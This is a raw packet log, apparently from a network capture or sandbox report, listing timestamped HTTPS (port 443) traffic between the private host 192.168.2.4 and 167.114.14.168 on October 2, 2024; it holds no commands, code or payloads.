Oct 2, 2024 06:10:20.520150900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.520162106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.520211935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.520344019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.520359039 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.520400047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.520405054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.520428896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.520446062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.520600080 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.520617962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.520649910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.520653963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.520689011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.520697117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.521189928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.521204948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.521248102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.521253109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.521532059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.521562099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.521586895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.521591902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.521605968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.521631956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.522048950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.522061110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.522115946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.522120953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.522665024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.522690058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.522722960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.522727966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.522752047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.522774935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.524430037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.524444103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.524511099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.524517059 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.525935888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.540234089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.611059904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611114979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611171961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.611186028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611215115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.611234903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.611304045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611323118 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611360073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.611363888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611393929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.611402988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.611479998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611502886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611532927 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.611536980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611571074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.611764908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611784935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611799955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.611804008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.611814976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.611851931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.612040043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.612055063 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.612106085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.612111092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.612641096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.612658978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.612709045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.612714052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.613554955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.614768028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.614784956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.614828110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.614835024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.614854097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.614876032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.615216017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.615233898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.615278006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.615283012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.615309954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.615329981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.646167040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.703162909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.703181982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.703253031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.703263998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.703502893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.703520060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.703555107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.703560114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.703579903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.703605890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.703694105 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.703710079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.703756094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.703761101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.703996897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.704016924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.704047918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.704052925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.704080105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.704104900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.704253912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.704267979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.704314947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.704320908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.704515934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.704536915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.704570055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.704576015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.704602957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.704624891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.708239079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.708257914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.708298922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.708307028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.708338976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.708357096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.708544016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.708559990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.708619118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.708623886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.709708929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.710556030 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.793894053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.793912888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.793953896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.793965101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.793998003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794023037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794075012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.794089079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.794122934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794128895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.794153929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794171095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794325113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.794342041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.794373989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794378996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.794409990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794416904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794581890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.794600964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.794646025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794651031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.794672966 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794703007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794941902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.794955015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.794991970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.794998884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.795027018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.795047045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.795156956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.795172930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.795216084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.795221090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.795248032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.795267105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.798893929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.798908949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.799005985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.799010992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.799065113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.799190998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.799206018 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.799242973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.799247026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.799261093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.799285889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.884573936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.884592056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.884648085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.884654045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.884673119 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.884696007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.884913921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.884931087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.884972095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.884977102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885004044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.885026932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.885152102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885169029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885212898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.885217905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885396957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885415077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885448933 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.885452986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885463953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.885497093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.885602951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885617971 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885653019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.885658979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885673046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.885691881 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.885796070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885811090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.885848999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.885854959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.886040926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.889993906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.890008926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.890067101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.890073061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.890233040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.890250921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.890280962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.890286922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.890300035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.890330076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.893079042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.975292921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.975310087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.975400925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.975409031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.975606918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.975625038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.975665092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.975668907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.975692034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.975734949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.975966930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.975982904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.976042986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.976048946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.976169109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.976202965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.976227045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.976231098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.976258039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.976280928 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.976429939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.976455927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.976486921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.976491928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.976502895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.976527929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.976732969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.976749897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.976788998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.976793051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.976816893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.976833105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.980519056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.980535984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.980606079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.980612040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.980840921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.980859041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.981035948 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:20.981040955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:20.981080055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.066026926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.066066980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.066121101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.066133022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.066164970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.066180944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.066310883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.066325903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.066375971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.066381931 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.066591024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.066607952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.066647053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.066653013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.066664934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.066698074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.066849947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.066865921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.066915989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.066921949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.067137957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.067158937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.067193031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.067197084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.067215919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.067244053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.067341089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.067356110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.067401886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.067406893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.067437887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.067454100 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.071425915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.071439981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.071506977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.071515083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.071863890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.071882963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.071922064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.071926117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.071944952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.071973085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.172256947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.172278881 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.172362089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.172370911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.172414064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.172451973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.172472954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.172518969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.172528982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.172763109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.172781944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.172828913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.172835112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173074007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173089981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173130989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.173137903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173162937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.173183918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.173338890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173357964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173408985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.173413992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173561096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173583984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173618078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.173621893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173649073 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.173662901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:21.173675060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:21.173677921 CEST	443	49744	167.114.14.168	192.168.2.4
